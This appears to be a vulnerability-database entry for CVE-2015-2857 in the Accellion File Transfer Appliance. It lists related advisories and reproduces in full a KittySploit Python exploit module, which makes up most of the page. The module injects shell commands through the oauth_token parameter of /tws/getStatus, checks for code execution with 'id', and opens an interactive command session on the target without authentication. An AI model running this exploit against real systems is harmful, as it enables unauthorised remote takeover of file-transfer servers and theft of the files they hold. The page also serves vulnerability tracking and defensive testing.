Accellion FTA - getStatus Command Injection (CVE-2015-2857)
| Reporter | Title | Published | Views | Family All 23 |
|---|---|---|---|---|
| Accellion File Transfer appliance getStatus verify_oauth_token Command Execution Exploit | 13 Jul 201500:00 | – | zdt | |
| Accellion Secure File Transfer Appliance 'oauth_token' Parameter Remote Command Execution | 27 Jul 201500:00 | – | nessus | |
| Accellion Secure File Transfer Appliance 'statecode' Cookie Remote File Disclosure | 27 Jul 201500:00 | – | nessus | |
| CVE-2015-2857 | 13 Jul 201500:00 | – | circl | |
| Accellion File Transfer Appliance Command Execution Vulnerability | 23 Aug 201700:00 | – | cnvd | |
| Accellion FTA getStatus verify_oauth_token Command Execution (CVE-2015-2857) | 25 Sep 201600:00 | – | checkpoint_advisories | |
| CVE-2015-2857 | 22 Aug 201715:00 | – | cve | |
| CVE-2015-2857 | 22 Aug 201715:00 | – | cvelist | |
| Accellion FTA - getStatus verify_oauth_token Command Execution (Metasploit) | 13 Jul 201500:00 | – | exploitdb | |
| Accellion FTA - getStatus RCE Detection (CVE-2015-2857) | 10 Aug 202606:19 | – | kittysploit |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Accellion FTA getStatus oauth_token RCE (CVE-2015-2857) — opens execute session."""
import re
from urllib.parse import quote
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'Accellion FTA - getStatus Command Injection (CVE-2015-2857)',
'description': (
'Exploits CVE-2015-2857 by injecting OS commands via oauth_token on '
'/tws/getStatus. Opens an interactive execute session.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2015-2857'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2015-2857'],
'tags': ['accellion', 'fta', 'rce', 'cmdi', 'unauth', 'cve-2015-2857'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 1,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['scanner/http/cve_2015_2857_detect'],
},
},
}
def execute(self, cmd: str) -> str:
tid = self.random_text(8)
# oauth_token=' ; <cmd> ; echo '
token = f"';{cmd};echo '"
data = f'transaction_id={tid}&oauth_token={quote(token, safe="")}'
r = self.http_request(
method='POST',
path='/tws/getStatus',
data=data,
headers={'Content-Type': 'application/x-www-form-urlencoded'},
allow_redirects=False,
)
if not r:
return ''
return r.text or ''
def handler_execute(self):
out = self.execute('id')
if not out or not re.search(r'uid=\d+', out):
# soft check: Success marker from NASL PoC
tid = self.random_text(8)
data = f"transaction_id={tid}&oauth_token='%3becho '"
r = self.http_request(
method='POST',
path='/tws/getStatus',
data=data,
headers={'Content-Type': 'application/x-www-form-urlencoded'},
allow_redirects=False,
)
if not r or '"result_msg":"Success"' not in (r.text or ''):
print_error('Target does not appear vulnerable to CVE-2015-2857')
return False
print_success('Accellion FTA getStatus RCE confirmed')
self.handler_console()
return True
def run(self):
return self.handler_execute()
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10 Aug 2026 06:19Current
7.7High risk
Vulners AI Score7.7
CVSS 27.5
CVSS 3.19.8
EPSS0.84178